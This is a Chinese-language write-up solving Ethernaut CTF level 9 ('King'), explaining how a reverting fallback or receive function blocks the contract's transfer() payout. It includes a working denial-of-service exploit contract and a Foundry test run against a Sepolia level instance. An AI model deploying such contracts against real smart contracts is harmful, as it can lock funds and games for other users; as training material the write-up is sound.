# Ethernaut CTF Level 9 - King

## 題目

下面的合約是一個很簡單的遊戲：任何發送了高於目前獎品 ether 數量的人將成為新的國王。在這個遊戲中，新的獎拼會支付給被推翻的國王，在這過程中就可以賺到一點 ether。
看起來是不是有點像龐氏騙局 (*´∀`)~♥ 這麽好玩的遊戲，你的目標就是攻破它。
當你提交實例給關卡時，關卡會重新申明他的王位所有權。如果要通過這一關，你必須要阻止它重獲王位才行 (ﾒﾟДﾟ)ﾒ

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

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## 分析

問題點在19行的`payable(king).transfer(msg.value);`上面

如果收款方沒有相對應接收的function像是receive / fallback

不管King contract 怎麼send，永遠會失敗

也可以達成題目的要求 - 阻擋重獲王位
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## receive & fallback function

當一筆以太幣交易發送到一個合約地址時，並且該交易沒有附帶msg.callData 以及正確function name

智能合約會觸發 receive 或 fallback 函數

這時，發送者只提供了一個固定的 **2300 gas** 來處理這次交易。這個量的 gas 被認為足夠完成一次簡單的 Ether 轉賬，但不足以執行複雜的計算或存儲操作。

以下是個樹狀圖，介紹receive / fallback的工作方式

智能合約接收以太幣
│
├── 無 msg.callData
│   │
│   ├── receive() 存在
│   │   └── receive() 函數
│   │
│   └── receive() 不存在
│       └── fallback() 函數（如果存在）
│
└── 有 msg.callData
    └── 調用 fallback() 函數（如果存在）

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## 攻擊

- 注意要調整合約中的balance才能有錢發送

// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

contract AttackKing {
    address payable addr;
    
    // Gas optimization, put in constructor
    constructor(address addr) payable{
        (bool success, ) = addr.call{value:(0.009 ether)}("");
        require(success, "err");
    }
    fallback() external payable{
        require(false);
    }
}

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## Foundry Test

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/Vm.sol";
import "../src/levels/09-King/King.sol";

contract ContractTest is Test {
    King level9 = King(payable(0x744efac1d83001908B44DbE90e9a99C10AB54bC2));

    function setUp() public {
        Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D));
        vm.createSelectFork(vm.rpcUrl("sepolia"));

        vm.label(address(this), "Attacker");
        vm.label(
            address(0x744efac1d83001908B44DbE90e9a99C10AB54bC2),
            "Ethernaut09"
        );
    }

    function testEthernaut09() public {
        address(level9).call{value: level9.prize()}(""); // trigger the level9.receive() function
        assert(level9._king() == address(this));
        console.log(
            "--- King claimed! Now try again, tx should be reverted ---"
        );
        (bool success, ) = address(level9).call{value: level9.prize()}(""); // expect failed
    }

    receive() external payable {
        // block the future transfer
        revert("Not accepting");
    }
}

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## 補充
- https://www.kingoftheether.com/thrones/kingoftheether/index.html
- https://www.kingoftheether.com/postmortem.html